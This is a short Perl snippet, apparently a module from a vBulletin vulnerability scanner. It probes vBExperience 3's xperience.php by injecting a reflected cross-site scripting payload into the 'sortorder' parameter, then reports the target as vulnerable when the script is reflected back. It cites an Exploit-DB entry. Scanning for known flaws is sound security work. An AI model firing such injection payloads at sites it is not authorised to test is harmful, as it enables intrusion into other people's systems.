#start vBulletin vBExperience 3 'sortorder' Parameter Cross Site Scripting Vulnerability
$ctf=0;
dprint( "Checking vBulletin vBExperience 3 'sortorder' Parameter Cross Site Scripting Vulnerability");
$source=$ua->get("$target/xperience.php?sortfield=xr&sortorder=\"><script>alert(127543);</script>")->decoded_content;
if($source =~ m/\<script\>alert\(127543\);\<\/script\>/i){
    tprint("xperience.php is vulnerable\n XSS path : $target/xperience.php?sortfield=xr&sortorder=\"><script>alert(127543);</script>\n EDB : https://www.exploit-db.com/exploits/35824/");
}else{
    fprint("xperience.php not vulnerable");
}
#end vBulletin vBExperience 3 'sortorder' Parameter Cross Site Scripting Vulnerability
